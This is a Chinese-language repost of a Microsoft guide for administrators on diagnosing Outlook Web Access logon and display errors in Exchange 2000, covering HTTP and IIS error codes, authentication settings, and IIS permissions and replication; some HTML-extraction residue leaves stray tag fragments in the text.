WIN技巧:ExchangeOutlookWebAccess疑难解答(共7篇)由网友“长谷川德纲”投稿提供,这里小编给大家推荐一些WIN技巧:ExchangeOutlookWebAccess疑难解答,方便大家学习。
篇1:WIN技巧:ExchangeOutlookWebAccess疑难解答
引言
Microsoft Exchange 2000 Server 中的 Microsoft Outlook Web Access 提供了通过 Web 浏览器访问 Exchange 邮箱数据的方便功能,管理员可以利用本文解决使用户无法成功地登录并使用 Outlook Web Access 的配置问题和常见网络问题。
本文是为熟悉 HTTP 和基本的 Microsoft Windows 2000 概念的 Exchange 2000 或 Outlook Web Access 管理员而编写的。熟悉 Microsoft Internet 信息服务 (IIS) 也将有助于您进行疑难解答。
本文提供的五个步骤用来对最常见的 Outlook Web Access 登录错误进行疑难解答。这些步骤将帮助您确定: 您可能遇到了什么类型的错误。 该错误意味着什么。 该错误的可能原因。
即使所有这些步骤都无法帮助您解决问题,您也可以在拨打 Microsoft 产品支持服务电话时使用您通过这些步骤搜集到的信息。在进行疑难解答时,请清楚记录每一步,因为您可能需要返回来参考这些步骤,或者需要将这些信息提供给 Microsoft 产品支持服务代表。
注 本文档主要讲述造成您或您的客户根本无法使用 Outlook Web Access 的问题(如登录失败或无法看到您文件夹中的内容),而非 Outlook Web Access 会话中可能出现的问题。
本文包括以下步骤,这些步骤可帮助您进行疑难解答。 疑难解答最佳做法 除讲述最常见错误解决方案外,本步骤还讲述可靠的管理办法,这些办法可确保 Outlook Web Access 具有一贯的性能。 有什么症状? 本步骤通过描述最常见的问题类别,帮助管理员澄清问题的原因。Microsoft 产品支持服务使用这些类别来对 Outlook Web Access 进行疑难解答。 这些症状说明了什么? 管理员确定问题的症状后,本步骤可帮助确定问题的原因和一些可能的解决方法。 其他疑难解答步骤 本步骤讲述更具体的疑难解答方法,包括检查过去造成 Outlook Web Access 错误的 Exchange 2000 和 Microsoft Windows 2000 组件。 疑难解答工具 本步骤概括介绍 Windows 2000 和 Exchange 2000 工具,这些工具可帮助管理员进一步解决 Outlook Web Access 问题。 疑难解答最佳做法
下面几节讲述 Outlook Web Access 的一些管理技巧,Microsoft 产品支持服务人员成功地使用这些技巧对常见错误进行疑难解答。 每次仅更改一项配置
需要记住的最重要疑难解答技巧是:每次只应更改一项设置或配置。通过只更改一项设置,您可以仔细跟踪更改前后的行为,从而可确定是哪一项更改解决了问题。如果您需要与产品支持服务人员联系,每次只更改一项设置还可帮助他们缩小问题范围。 检查输入
最常见的 Outlook Web Access 登录问题之一是键入密码错误。如果用户不能访问其邮箱,请让该用户再次确定他或她是否犯了打字错误。还要确保没有启用 CAPS LOCK 键。 使用单个用户帐户
确保对所有测试使用同一个非管理员帐户。原则上,应在开始疑难解答前创建此帐户,而不应使用 现有帐户。通过使用新帐户,您可以确保该帐户不存在旧问题。 如果使用新帐户解决了问题
如果仅一个用户帐户发生了某个问题,请将该用户的 Active Directory 目录服务配置选项与另一正常用户帐户的配置选项相比较。 在多个客户机上验证问题
有时,某个问题可能只在某一特定的客户机上发生。验证您是否可以在多台客户机上重现此问题。如果发现只能在一台客户机上重现此问题,则可以大大缩小问题原因的范围。 尝试使用不同的浏览器或电子邮件程序登录
如果最初是在使用 Microsoft Internet Explorer 5 与 Outlook Web Access 时遇到了问题,请尝试使用 Netscape Navigator。如果最初是在使用 Netscape Navigator 时遇到了问题,请尝试使用 Internet Explorer。
Outlook Web Access 有两种形式,即“胖”客户端形式和“延伸”客户端形式。在运行 Microsoft Windows 或 Sun Solaris 的计算机上运行 Internet Explorer 5 或其更高版本的用户使用胖客户端,它为用户提供全部功能。所有其他浏览器(如 Internet Explorer 4.x 或 Netscape Navigator)的用户使用延伸客户端。
胖客户端利用运行 Internet Explorer 5 或其更高版本的计算机上的现有控件,来与 Exchange 服务器一起执行自定义请求。Internet Explorer 5 或其更高版本使用动态超文本标记语言 (DHTML) 来呈现内容项,并使 Outlook Web Access 的外观类似于 Outlook。
延伸客户端使用较简单的 HTML 3.2 和欧洲计算机制造商协会 (ECMA) 脚本来呈现视图和内容项。Internet Explorer 4.x、Netscape Navigator、Opera、Pocket Internet Explorer 和所有其他浏览器都使用延伸客户端。
不同的浏览器也都分别支持不同的身份验证机制。例如,如果您不能使用 Internet Explorer 5 登录,但可以使用 Pocket Internet Explorer 登录,则可能是贵组织的 NTLM 身份验证或 Kerberos 身份验证中的配置有问题。
您还可以使用 Outlook(带有 Exchange Server 服务)或 Outlook Express(采用一个邮政协议 [POP] 或 Internet 邮件访问协议 [IMAP] 帐户)来访问有问题的邮箱。如果使用这些非 Outlook Web Access 客户程序无法访问该帐户,则该问题可能并非特定于 Outlook Web Access。 请求身份验证时使用 <域><用户名> 格式用户名>域>
当用户在 Outlook Web Access 中访问邮箱时,他们的 Web 浏览器会打开一个对话框,提示他们输入凭据。此对话框可能有两个字段(用户名和密码),或者可能有三个(用户名、密码和域),具体取决于用户当前使用的浏览器的类型和版本。用户名的默认形式是:域名,后面是反斜杠 ,再后面是用户的别名或用户名。在对错误进行疑难解答时,如果您在贵组织中配置了非默认身份验证选项(如通用原则名称 [UPN] 用户名,或默认域),请不要使用这些选项。每次都要使用 <域><用户名> 格式开始疑难解答。 如果使用 <域><用户名> 格式解决了问题用户名>域>用户名>域>
如果在使用 <域><用户名> 格式时可以访问邮箱,但在使用 UPN 用户名或默认域时不能访问邮箱,请检查 Exchange System Manager(Exchange 系统管理器)中的默认域设置。用户名>域>
下面的步骤讲述如何验证默认 HTTP 虚拟服务器以及您或您的组织创建的任何 HTTP 虚拟服务器上的默认域设置。您必须通过 Internet 服务管理器来管理默认的 HTTP 虚拟服务器,而使用 System Manager(系统管理器)管理您创建的任何 HTTP 虚拟服务器。
在 Internet 服务管理器中验证默认域设置(对默认 HTTP 虚拟服务器) 单击开始,指向程序,再指向管理工具,然后单击 Internet 服务管理器。 如果需要,请单击展开本地计算机对象,然后单击展开 Web 站点。 右键单击默认 Web 站点,然后单击属性。 在目录安全性选项卡上的匿名访问和验证控件下,单击编辑。 在身份验证方法中,在已验证身份的访问下,在默认域中,验证您的域是否已正确列出,没有打字错误或拼写错误。对于 UPN 用户名,只应列出一个反斜杠 ()。
在“系统管理器”中验证默认域设置(对所有其他 HTTP 虚拟服务器) 单击开始,指向程序,再指向 Microsoft Exchange,然后单击 System Manager(系统管理器)。 单击展开管理组、有问题的管理组、服务器、有问题的 Exchange 服务器、协议,然后单击 HTTP。 右键单击有问题的 HTTP 虚拟服务器,然后单击属性。 在访问选项卡上,单击身份验证。 在身份验证方法中,在默认域中,验证您的域是否已正确列出,没有打字错误或拼写错误。对于 UPN 用户名,只应列出一个反斜杠 ()。
如果正确列出了默认域,则可能未将设置复制到 Exchange 服务器的元数据库中。有关更多信息,请参见本文中下面的“确保复制 IIS 设置”。
有关使用 UPN 登录的更多信息,请参见 Microsoft 知识库文章 Q243280“Users Can Log in Using User Name or User Principal Name”(用户可使用用户名或用户主要名称登录),网址是:go.microsoft.com/fwlink/?LinkId=3052&ID=243280。 使用完整的 URL 登录到邮箱
使用 Outlook Web Access,用户不需要知道其邮箱的完整 URL 就可以登录。用户键入 <服务器名>/exchange,然后在得到浏览器提示后,输入他们的用户名和密码。Exchange 使用用户名和密码信息来在 Active Directory 中查找用户邮箱的完整 URL。Exchange 然后将用户路由到正确的邮箱。服务器名>
在进行疑难解答时,请始终使用邮箱的完整 URL,例如,<服务器名>/exchange/<用户名>。在您使用此完整 URL 时,Exchange 不执行使用简短 URL 时需要执行的 Active Directory 查找过程。 如果使用完整 URL 登录解决了问题用户名>服务器名>
如果您可以使用完整 URL 访问邮箱,但不能使用简短的 URL 访问邮箱,则访问问题可能与身份验证有关。 仅使用基本身份验证
如果用户无法访问某个资源,请将访问该资源的身份验证方法设置为“基本”身份验证。如果您认为访问问题的原因在于权限配置不当,则此步骤尤为重要。
下面的步骤讲述如何在默认 HTTP 虚拟服务器及您或您的组织创建的任何 HTTP 虚拟服务器上配置身份验证设置。您必须通过 Internet 服务管理器来管理默认的 HTTP 虚拟服务器,而使用系统管理器管理您创建的任何 HTTP 虚拟服务器。
安全警告 这些步骤只能用于疑难解答。为安全起见,除非您还使用了安全套接字层 (SSL) 加密,否则一定不要将基本身份验证选作您的唯一身份验证方法。
在 Internet 服务管理器中设置基本身份验证(对默认 HTTP 虚拟服务器) 单击开始,指向程序,再指向管理工具,然后单击 Internet 服务管理器。 如果需要,请单击展开本地计算机对象,然后单击展开 Web 站点。 右键单击默认 Web 站点,然后单击属性。 在目录安全性选项卡上的匿名访问和验证控件下,单击编辑。 在身份验证方法中,在已验证身份的访问下,单击选择基本身份验证。在默认域中,键入贵组织的域名。 如果需要,单击清除所有其他身份验证方法。
在系统管理器中验证默认域设置(对所有其他 HTTP 虚拟服务器) 单击开始,指向程序,再指向 Microsoft Exchange,然后单击 System Manager(系统管理器)。 单击展开管理组、有问题的管理组、服务器、有问题的 Exchange 服务器、协议,然后单击 HTTP。 右键单击有问题的 HTTP 虚拟服务器,然后单击属性。 在访问选项卡上,单击身份验证。 在身份验证方法中,单击选择基本身份验证。在默认域中,键入贵组织的域名。 如果需要,请单击清除匿名访问和集成的 Windows 身份验证。
您可能至少需要等 15 分钟来让您的身份验证设置复制到 Exchange 元数据库。有关更多信息,请参见本文中下面的“确保复制 IIS 设置”。 如果使用基本身份验证解决了问题
如果使用基本身份验证而不使用任何其他身份验证方法允许您访问邮箱,则访问问题或者是由集成的 Windows 身份验证引起的,或者是由匿名访问引起的。
集成的 Windows 身份验证即 Exchange 服务器上注册的 Windows 2000 身份验证机制,例如 NTLM 和 Kerberos。NTLM 仅在 Internet Explorer 4.x 及更高版本中受支持。Kerberos 仅在 Internet Explorer 5 及其更高版本中受支持。
如果在您选择“集成的 Windows 身份验证”后发生了此问题,请检查是否在 Internet Explorer 5 或其更高版本以外的其他浏览器中发生此问题(例如 Internet Explorer 4.x),因为这一浏览器不支持集成的 Windows 身份验证。如果在 Internet Explorer 4.x 等浏览器中不发生此问题,则此访问问题很可能与集成的 Windows 身份验证有关。 有什么症状?
您看到的什么情况表明 Outlook Web Access 不能正常使用?本节讲述最常见的访问问题症状。 HTTP 和 IIS 错误
HTTP 错误是用户尝试登录 Outlook Web Access 时最常见的症状。因为浏览器中可能收到的 HTTP 错误有若干种不同情况,所以错误代码对于确定是什么错误很有用。如前所述,即使错误代码不能帮助您解决问题,也可能对 Microsoft 产品支持服务人员有帮助。
如果您尝试访问 Outlook Web Access 时在浏览器中看到了错误,请记下错误代码。例如,在图 1 中所示的 HTTP 错误 HTTP/1.1 404 Not Found(HTTP/1.1 404 未找到)中,404 就是错误代码。
如果您的浏览器不支持内嵌框,请单击此处在单独的页中查看。
图 1 一个 HTTP 错误
除 HTTP 错误代码外,IIS 也会在 Web 浏览器中显示它自己的错误代码。这些错误代码一般表示为两组数字,例如: -2146893055 (0x80090301)“友好”HTTP 错误消息
Microsoft Internet Explorer 有一种功能可让用户只显示“友好”错误消息,即措辞简明并且没有错误代码的消息。如果您认为您收到了一条错误消息,但看不到错误代码,则可能在出现问题的浏览器上激活了友好 HTTP 错误消息(此功能在默认情况下为关闭状态)。下面的步骤讲述如何关闭友好 HTTP 错误消息。
关闭 Internet Explorer 中的友好 HTTP 错误消息 在 Internet Explorer 中的工具菜单中,单击 Internet 选项。 单击高级选项卡。 在浏览下,单击清除显示友好 HTTP 错误消息。 Outlook Web Access 对话框中的错误
用户可能会看到图 2 中所示的另一种 IIS 或 HTTP 错误。在这种错误中,Outlook Web Access 检测到一个 HTTP 或 IIS 问题,然后显示一个错误对话框,而不是在浏览器窗口中显示一个错误。
图 2 Outlook Web Access 显示的错误对话框示例
如想在此类情况下看到完整的错误,请捕捉您的客户端和服务器之间的一个 HTTP 通讯快照。错误代码很可能会出现在该快照中。 Outlook Web Access 中的不正常行为
Outlook Web Access 中的不正常行为是另一种表明有问题的迹象。下面是一些不正常行为的示例: 左框架中的导航栏正常显示,但显示文件夹内容的右框架不能正常显示。 内容框架中正在加载…这一句的显示时间特别长,而该文件夹中的内容项列表一直不显示。 您收到一个脚本错误。
在 Internet Explorer 中,您可以配置浏览器,使其向用户显示脚本错误(默认情况此功能为关闭状态)。显示脚本错误可帮助管理员对 Outlook Web Access 错误进行疑难解答。
在 Internet Explorer 中显示脚本错误 在 Internet Explorer 中的工具菜单中,单击 Internet 选项。 单击高级选项卡。 在浏览下,单击选择显示每个脚本错误的通知。 这些症状说明了什么?
在确定您遇到的错误的症状后,如何确定这些症状的原因?本节按类别列出了常见 Outlook Web Access 错误症状,并就可能的原因和解决方法为您提供了建议。 错误类别:HTTP 错误
本节讲述 HTTP 错误症状及其可能的原因和解决方法。 症状 401 拒绝访问 401 登录失败 可能的原因和解决方法 用户名或密码不正确。验证是否有打字错误以及是否按下了 CAPS LOCK 键。 用户名输入格式不正确。例如,如果服务器未配置为使用 UPN 登录,则您会在使用一个电子邮件地址登录 Outlook Web Access 时看到此错误。 您刚创建了此用户帐户。该帐户需要几分钟才能正确初始化。若要加快此过程,请尝试向该帐户发送一个邮件,或使用由 Exchange 服务器为其提供服务的 Outlook 配置文件登录。 如果在您访问 <服务器>/exchange 时收到一个 401 拒绝访问错误,在访问 <服务器>/exchange/<用户名> 时收到 404 未找到错误,则您在尝试验证其身份的用户可能没有一个简单邮件传输协议 (SMTP) 地址与在 Exchange 系统管理器中虚拟目录的属性中设置的 SMTP 域相匹配。有关更多信息,请参见 Microsoft 知识库文章 Q293386“XWEB: Error Message: HTTP/1.0 401 or 404”(XWEB:错误消息:HTTP/1.0 401 或 404),网址是 go.microsoft.com/fwlink/?LinkId=3052&ID=293386。 您在 Davex.dll(或 Exprox.dll,如果它是前端服务器)上的 NTFS 权限不正确。为安全起见,请确保已验证身份的用户对 %SystemRoot%system32 和 ExchsrvBin 目录拥有最小的读取和执行权限。 症状 403 拒绝访问 可能的原因和解决方法 用户已成功验证身份,但无法访问此资源。如果适合,请授予用户访问此资源的权限。 用户尝试使用一个以 开头的 URL 访问服务器,但是要求 SSL。用户必须键入 才能访问服务器。 已对用户尝试访问的 Exchange 虚拟目录禁用目录浏览。如果适合,请启用目录浏览。 症状 404 未找到 可能的原因和解决方法 指定的位置不存在请求的内容项。如果 Outlook Web Access 以前显示的内容项后来在 Outlook 中删除了,则可能会发生此错误。Outlook Web Access 中的视图不自动刷新;如果您在 Outlook 中删除一个内容项,稍后尝试在 Outlook Web Access 打开该项,则会收到此错误,因为在服务器上的这个位置已不存在该内容项。 如果您在访问 <服务器>/exchange 时收到一个 401 拒绝访问错误,或在访问 <服务器>/exchange/<用户名> 时收到一个 404 未找到错误,则您在尝试验证其身份的用户可能没有一个 SMTP 地址与 Exchange 系统管理器中对应的 SMTP 虚拟目录上设置的 SMTP 域相匹配。有关更多信息,请参见 Microsoft 知识库文章 Q293386“XWEB: Error Message: HTTP/1.0 401 or 404”(XWEB:错误消息:HTTP/1.0 401 或 404),网址是 go.microsoft.com/fwlink/?LinkId=3052&ID=293386。 您在 IIS 中配置了 URLscan,该配置阻止请求。有关更多信息,请参见 Microsoft 知识库文章 Q309508“XCCC: IIS Lockdown and URLscan Configurations in an Exchange Environment”(XCCC:Exchange 环境中的 IIS 锁定和 URLscan 配置),网址是:go.microsoft.com/fwlink/?LinkId=3052&ID=309508。 如果您是从 Microsoft Exchange Server 5.5 版中的 Outlook Web Access 升级此服务器的,则仍可以配置 Exchfilt.dll,使处理 Outlook Web Access 的本地化。有关更多信息,请参见 Microsoft 知识库文章 Q288123“HTTP Error 404 “Page Cannot Be Displayed” When You Attempt to Connect to the OWA Server”(尝试连接到 OWA 服务器时出现 HTTP 错误 404 ‘页面无法显示’),网址是 go.microsoft.com/fwlink/?LinkId=3052&ID=288123。 Outlook Web Access 运行所在的虚拟目录可能有一些绑定(IP 地址、主标题或 TCP 端口)与用户在 Web 浏览器中键入的不相同,例如,如果在 IIS 中在 Exchange 虚拟目录上设置了一个主机标题 myserver.fabrikam.com,而用户键入 myserver/exchange 来访问他们的邮箱,则他们可能会收到 404 未找到错误,因为两个 URL 不完全匹配。若要修正这种不一致现象,请在虚拟目录中添加另一个叫做 myserver 的主机标题。类似地,TCP 端口或 IP 地址可能与用户当前用于访问 Outlook Web Access 的 TCP 端口或 IP 地址不同,这也可能会导致出现 404 未找到错误。用户名>服务器>服务器>用户名>服务器>服务器>
注 Internet 服务管理器中的主机标题与系统管理器中的主机名相同。 症状 405 不允许的方法 可能的原因和解决方法 如果未明确允许运行脚本和可执行文件,而您尝试运行 Active Server Page (.asp) 或访问一个动态链接库 (.dll) 文件,则可能看到此错误。若要纠正此错误,请允许脚本和可执行文件运行,但应知道允许您的 Web 站点上运行可执行文件会带来潜在的安全风险。 症状 500 内部服务器错误 可能的原因和解决方法 用户的浏览器(例如 Internet Explorer 6)支持 Kerberos 身份验证,而客户机与 Exchange 服务器之间的时钟设置差大于 5 分钟。设法使两台计算机的时间同步。 如果 Exchange 服务器无法与 Active Directory 服务器联系,则可能发生此错误。最常见是外围网络(又称 DMZ、非军事区和屏蔽子网)中的前端服务器的问题,在此服务器上,内部防火墙上相应的端口未打开,因而不允许前端服务器与 Active Directory 联系。 前端服务器不在任一已配置的网络子网中;发生此情况的通常原因是:您将一个前端服务器移到了一个外围网络中,但没有接着在 Active Directory 站点和服务中配置外围网络子网。若要配置有问题的子网,请使用 Active Directory 站点和服务 Microsoft 管理控制台 (MMC) 管理单元。 在 IIS 中任何时间进行身份验证常常失败。有关更多信息,请参见本文中后面的“如何确定是 Exchange 还是 IIS 导致错误”。如果按该节中的步骤操作后仍不能解决问题,则您遇到的可能是 IIS 身份验证失败。验证 IIS 是否能够至少与一个域控制器联系。 如果您在尝试运行 Exchange 虚拟目录中的某个应用程序(例如 .asp 文件)时收到此错误,则可能是因为您没有启用应用程序保护。有关更多信息,请参见本文中后面的“在 IIS 中验证虚拟服务器和目录权限”。 症状 503 没有服务 可能的原因和解决方法 此错误通常表明 Microsoft Exchange 信息存储服务当前未运行,或邮箱数据库未装入。如果您通过一个前端服务器访问 Outlook Web Access,请验证在包含该邮箱的后端服务器上是否在运行此服务。 如果您在访问一个不指向 Exchange 邮箱或公共文件夹的虚拟目录时看到此错误,则可能是某个人在 Exchange 系统管理器下创建了一个虚拟服务器,然后又在 IIS 中在该虚拟服务器下创建了一个虚拟目录。这种不一致导致配置无效。有关更多信息,请参见 Microsoft 知识库文章 Q282230“XGEN: Error Message “HTTP/1.1 503 Service Unavailable” on Multiple Web Sites on Single Server”(XGEN:在单个服务器的多个 Web 站点上出现错误消息‘HTTP/1.1 503 没有服务’),网址是 go.microsoft.com/fwlink/?LinkId=3052&ID=282230。 错误类别:IIS 错误
本节讲述 IIS 错误症状及其可能的原因和解决方法。 症状 -2146893055 (0x80090301) 可能的原因和解决方法 此错误说明您使用了一个能够进行 Kerberos 身份验证的浏览器,但客户机和服务器之间的时钟设置差大于 5 分钟。若要解决此问题,请让两台计算机的时间同步;或者,如果想允许客户机和服务器之间的时间差有更大灵活性,请增大域策略中的 Kerberos 时间偏差。如想获得一种较长期的解决方案,请使用“Windows 时间服务”来使该域中所有计算机的时间都同步。 错误类别:Outlook Web Access 行为
本节讲述一些表明可能有问题的 Outlook Web Access 行为及其可能的原因和解决方法。 症状 您在下载一个附件时收到多个提示。 可能的原因和解决方法 服务器安装了 Exchange 2000 Server Service Pack 1 (SP1)。请尝试升级到一个较新的服务包。 症状 左框架中的导航栏正常显示,但显示文件夹内容的右框架不能正常显示。 内容框架中正在加载…这一句的显示时间特别长,而该文件夹中的内容项列表一直不显示。 您收到一个脚本错误。 可能的原因和解决方法 如果在使用 Internet Explorer 5 或其更高版本时出现这些症状中的任何一种,但在使用任何其他服务器时未出现,则错误原因可能是:客户机和服务器之间的一个防火墙或代理服务器阻止了来自客户机上的浏览器的请求。有关更多信息,请参见 Microsoft 知识库文章 Q296232“XCCC: Empty Inbox When Using Internet Explorer 5 and Later to Gain Access to OWA”(XCCC:使用 Internet Explorer 5 及更高版本访问 OWA 时收件箱为空),网址是 go.microsoft.com/fwlink/?LinkId=3052&ID=296232。 用户的浏览器没有设置首选语言。若要在 Internet Explorer 中设置首选语言,请在工具菜单上选择 Internet 选项。在常规选项卡上,单击语言,然后单击添加。 您在 IIS 中配置了 URLscan,该配置阻止请求。有关更多信息,请参见 Microsoft 知识库文章 Q309508“XCCC: IIS Lockdown and URLscan Configurations in an Exchange Environment”(XCCC:Exchange 环境中的 IIS 锁定和 URLscan 配置),网址是:go.microsoft.com/fwlink/?LinkId=3052&ID=309508。 如果出现上述症状中的任何一种,请确保 IIS 中的 Exchwebin 虚拟目录拥有适当的执行权限。
确保您拥有适当的执行权限 单击开始,指向程序,再指向管理工具,然后单击 Internet 服务管理器。 单击展开 Web 站点,然后单击展开 Exchweb。 在控制台窗格中,右键单击 bin,然后单击属性。 在虚拟目录选项卡上的应用程序设置下,检查是否选中了执行许可旁边的 Scripts and Executables(脚本和可执行文件)。 症状 框架可显示出来,但尽管内容框架中显示正在加载…,却没有加载任何图像或图标。 可能的原因和解决方法 错误原因可能是 <驱动器>:ExchsrvrExchweb 目录中的 NTFS 权限不正确。确保已验证身份的用户和匿名帐户对此目录及其下的所有目录至少拥有读权限。 IIS 中 Exchweb 虚拟目录的身份验证设置不正确。尝试对虚拟目录启用匿名访问。启用匿名访问意味着您必须正确配置匿名帐户,而且匿名帐户必须对服务器拥有在本地登录权限。有关更多信息,请参见 Microsoft 知识库文章 Q280823“XCCC: OWA 2000 Icons and Folder Items Are Not Displayed”(XCCC:不显示 OWA 2000 图标和文件夹项),网址是 go.microsoft.com/fwlink/?LinkId=3052&ID=280823。 其他疑难解答步骤驱动器>
本节中的步骤用于对您在上文中确定的问题范围集中进行疑难解答。下面各节还包含用于在 Outlook Web Access 中检查错误的更多最佳做法。 如何确定是 Exchange 还是 IIS 导致的错误
Outlook Web Access 与 IIS 紧密集成在一起。因此,IIS 中的问题可能会传播,使 Outlook Web Access 也出现问题。本节包含一系列步骤,旨在帮您确定在贵组织中是不是 IIS 导致了 Outlook Web Access 错误。以下步骤描述如何: 在 IIS 中创建新的虚拟目录。 对新的虚拟目录启用基本身份验证并禁用匿名访问。 在该目录中添加一个示例 HTML 文档。 验证您是否可以从 Web 浏览器访问该文档。
如果您能够访问该示例 HTML 文档,则说明问题与 IIS 无关。如果按这些步骤操作后仍不能访问该文档,则问题可能与 Exchange 和 Outlook Web Access 无关,因而应当检查您在 IIS 中所设置的权限或其他配置。
注 有关检查权限的更多信息,请参见 Microsoft 知识库文章 Q187506“List of NTFS Permissions Required for IIS Site to Work”(IIS 站点正常运行所需要的 NTFS 权限列表),网址是 go.microsoft.com/fwlink/?LinkId=3052&ID=187506。
如何在 IIS 中创建新的虚拟目录 单击开始,指向程序,再指向管理工具,然后单击 Internet 服务管理器。 在 Internet 信息服务中,单击展开本地计算机对象,然后单击展开 Web 站点。 右键单击默认 Web 站点,指向新建,然后单击虚拟目录。虚拟目录创建向导便打开了。单击下一步。 在虚拟目录别名中,为该虚拟目录键入一个名称(例如 test),然后单击下一步。 在Web 站点内容目录中,键入将可通过此虚拟目录访问的本地硬盘上的路径。例如,在您的硬盘上创建一个名为 test 的目录,并在向导中指向此目录。 在访问权限中,让读处于选中状态,而清除所有其他复选框。单击下一步以完成该向导。
如何启用基本访问并禁用匿名访问 在 Internet 信息服务中,右键单击您的新虚拟目录,然后单击属性。 在目录安全性选项卡上的匿名访问和验证控件下,单击编辑。 在身份验证方法中,在已验证身份的访问下,单击选择基本身份验证,然后单击清除所有其他选项。只应选择基本身份验证。
如何在此虚拟目录中创建文件 单击开始,然后单击运行。 在运行中,键入 notepad.exe,然后单击确定。 在记事本中,键入一些简单的 HTML 文本,例如 “This is a test”(有没有引号都可以)。 在您的虚拟目录中使用 .htm 扩展名保存该文件(不要使用默认扩展名 .txt)。
如何使用 Web 浏览器访问此文件 打开您的 Web 浏览器。 键入下面的 URL:<服务器名>/<虚拟目录名>/<文档名>。如果您的服务器名是 myserver,而且您已将您的虚拟目录命名为 test,并将您的文档命名为 test.htm,则应当键入 myserver/test/test.htm。文档名>虚拟目录名>服务器名>
注 在上面 <服务器名> 的位置,您可能需要输入主机标题或完全限定域名(例如 server.fabrikam.com)。您也可以使用服务器的 IP 地址。服务器名>
重要说明 若要访问在 Internet 服务管理器 MMC 管理单元中创建的虚拟目录中的文件,您使用的帐户必须有在本地登录权限(Outlook Web Access 不要求这些权限)。 检查文件系统权限
任何用于对 Outlook Web Access 错误进行疑难解答的帐户都必须对运行 Exchange 的计算机上的以下目录拥有读取和执行权限: WinNTsystem32 WinNTSystem32inetsrv Program FilesExchsrvrin Program FilesExchsrvrRES WinNTSystem32wbem Program FilesExchsrvrExchweb
设置对目录的读取和执行权限 单击开始,指向程序,再指向附件,然后单击 Windows 资源管理器。 右键单击所需要的目录,然后单击权限。 选择您要在进行疑难解答时使用的组或帐户,然后单击选择读取和执行(如果需要)。 检查用户权限
验证您是否可以从网络上的另一计算机访问 Exchange 服务器上的文件共享区。下面的步骤描述如何通过共享一个文件然后从另一计算机访问该共享文件来实现此目的。
创建一个共享文件 单击开始,指向程序,再指向管理工具,然后单击 Internet 服务管理器。 在 Internet 信息服务中,右键单击一个虚拟目录(例如您在本文中前面的“如何确定是 Exchange 还是 IIS 导致的错误”一节中创建的测试目录),然后单击权限。 单击添加,在 Select Users, Computers, or Groups(选择用户、计算机或组)中,键入您要在进行疑难解答时使用的帐户,然后单击确定。 选择您添加的帐户,然后检查是否选择了读旁边的允许。此步骤可确保您的帐户对共享目录拥有读权限。
访问该共享文件 在网络中的另一计算机上,单击开始,然后单击运行。 键入 <服务器名><共享名>,其中 <共享名> 是您在上面的设置共享步骤中配置的目录的名称。 在系统管理器中查看虚拟服务器和目录权限共享名>共享名>服务器名>
在 IIS 中,您可以对虚拟目录或虚拟服务器设置权限,以允许以下操作: 读访问 读取和打开公告、邮件等。 写访问 在公共文件夹中张贴公告,发送邮件,等等。 脚本资源访问 下载脚本的源代码,而非运行脚本。 目录浏览 查看一个文件夹的内容。 执行许可 运行脚本或可执行文件。
确保按照您的组织的需要配置这些权限。例如,如果您将一个虚拟目录仅用于访问一个邮箱服务器,则默认设置为启用读、写、脚本资源访问和目录浏览权限,而执行许可设置为无。 在 IIS 中验证虚拟服务器和目录权限
本节讲述如何使用 Internet 服务管理器 MMC 管理单元来确保 Outlook Web Access 使用的 IIS 目录的权限已正确分配。
打开 Internet 服务管理器 单击开始,指向程序,再指向管理工具,然后单击 Internet 服务管理器。
在 Internet 信息服务中,验证下面的权限是否正确。
验证对 Exchweb 虚拟目录的权限 在 Internet 信息服务中,单击展开本地计算机对象,单击展开 Web 站点,然后单击默认 Web 站点。 在细节窗格中,右键单击 Exchweb,然后单击属性。 在虚拟目录选项卡上,验证读是否已选中。
验证对 Exchwebin 虚拟目录的权限 在 Internet 信息服务中,单击展开本地计算机对象,单击展开 Web 站点,单击展开默认 Web 站点,然后单击 Exchweb。 在细节窗格中,右键单击 bin,然后单击属性。 在虚拟目录选项卡上,验证: 读已选中 在应用程序设置下,执行许可已设置为 Scripts and Executables(脚本和可执行文件) Exchwebin 中的应用程序保护
Outlook Web Access 使用的 ASP 页存储在 Exchwebin
如果您在访问 Exchwebin
启用应用程序保护 在 Internet 信息服务中,单击展开本地计算机对象,单击展开 Web 站点,单击展开默认 Web 站点,然后单击 Exchweb。 在细节窗格中,右键单击 bin,然后单击属性。 在虚拟目录选项卡的应用程序设置下,单击创建。 在应用程序保护列表中,选择适当的保护级别:低(IIS 进程)、中等(池)或高(独立)。 确保复制 IIS 设置
Exchange 将配置信息存储在 Active Directory 中,IIS 将配置信息存储在元数据库(计算机上的一个本地数据库)中。Exchange System Attendant(Exchange 系统助理)服务确保将 Exchange HTTP 虚拟服务器的配置信息复制到本地元数据库,从而使 IIS 能够访问这些信息。
这种复制只能单向进行;所以,在元数据库 (IIS) 中所作的更改不会复制给 Active Directory (Exchange)。因此,某些配置更改必须在系统管理器(而非 Internet 服务管理器)中进行。复制过程在系统助理运行时每隔 15 分钟发生一次,或者在 Exchange 系统管理器中执行更改后也会立即进行复制。
当您在 Internet 服务管理器中查看 IIS 配置设置时,您就是直接在元数据库中查看配置。如果某个复选框在 IIS(Internet 服务管理器)中未选中,但它在 Exchange(系统管理器)中选中了,则在目录中选中的属性的值有效,但元数据库中的这个值无效。
使用系统管理器,仅在 Exchange 中设置以下配置: 除默认 Exchange HTTP 虚拟服务器以外的虚拟服务器的主机标题和 IP 地址 身份验证方法 读/写和其他权限
使用 Internet 服务管理器,仅在 IIS 中设置以下配置: 默认虚拟服务器的主机标题和 IP 地址 安全套接字层 (SSL) HTTP 登录
作为一般规则,如果系统管理器中存在执行操作的 UI,则请使用系统管理器。如果系统管理器中没有所需的 UI,请使用 Internet 服务管理器。 复制问题症状
有两种主要症状表明从 Exchange 到 IIS 的复制过程可能有问题: 如果您以某种方式配置一个选项,但 20 分钟后发现该选项已重置,则可能是您在 Internet 服务管理器中配置了一个本应在系统管理器中配置的选项。 如果您在系统管理器中配置了一个选项,但该配置没有以同样的配置设置出现在 Internet 服务管理器中(等 30 分钟让复制完成),则很可能根本没有发生复制。验证“系统助理”是否在运行,并验证计算机是否能访问 Active Directory。 疑难解答工具
